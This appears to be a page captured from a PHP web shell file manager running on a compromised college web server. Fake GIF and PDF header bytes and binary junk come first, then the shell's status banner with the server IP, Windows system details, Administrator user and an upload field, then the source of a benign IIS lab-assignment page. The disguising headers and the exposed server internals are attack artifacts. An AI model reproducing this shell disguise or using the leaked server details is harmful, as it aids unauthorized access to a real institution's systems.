GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.2/ |
Upload File : |
<? // JimMartinson/CST2276/Labs/Lab03.2/Lab03.2.phpinc require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; } #$showGenerateComputerNamesVariables = true; require('JimMartinson/CST2276/Labs/GenerateComputerNames.phpinc'); $disabled = ''; #$disabled = ' disabled'; $uploadFilename = $courseNumber.'_'.$evaluationName.'_'.$userFileName.'.png'; ?> <style type="text/css">b {white-space:nowrap;}</style> <p> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> <? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br> <? } ?> The purpose of this lab is to add a new web site. <br><?=$gradeNote?> <ol> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for the screenshot created in this lab.</li> <li>Setup the directory for the new web site: <ol> <li>Open <b>C:\inetpub</b> with File Explorer.</li> <li>Create a folder called <b class="copyText">intranet</b>.</li> <li>Download and save this <a href="dn/index.html">index.html</a> file in the <b>intranet</b> folder.</li> </ol> </li> <li>Create a new web site: <ol> <li>Open <b>ServerManager / All Servers</b>.</li> <li>Right click on your server and select <b>Internet Information Services (IIS) Manager</b>.</li> <li>Expand <b><?=$serverNameU?>(<?=$NBname?>\Administrator)</b>.</li> <li>Right-click on <b>Sites</b> and select <b>Add Website...</b>.</li> <li>Set the <b>Site name</b> to <b class="copyText">intranet</b>.</li> <li>Browse the <b>Physical path</b> (Use the <b>...</b> button) and select the <b>C:\inetpub\intranet</b> folder.</li> <li>Set the <b>Host name</b> to <b class="copyText"><?=$serverName?>.<?=$domainName?></b>.</li> <li>Click <b>OK</b></li> </ol> </li> <li>Show that your new site works: <ol> <li>Open a browser and enter <b class="copyText"><?=$serverName?>.<?=$domainName?></b></li> <li>Take a screenshot of the <b>browser window</b> and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See browser example screenshot'); ?><br> <img src="images/example.png" width="1000" alt="browser example"/> <? showEnd (); ?> </li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li> </ol> </li> </ol> <?=$gradeNote?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>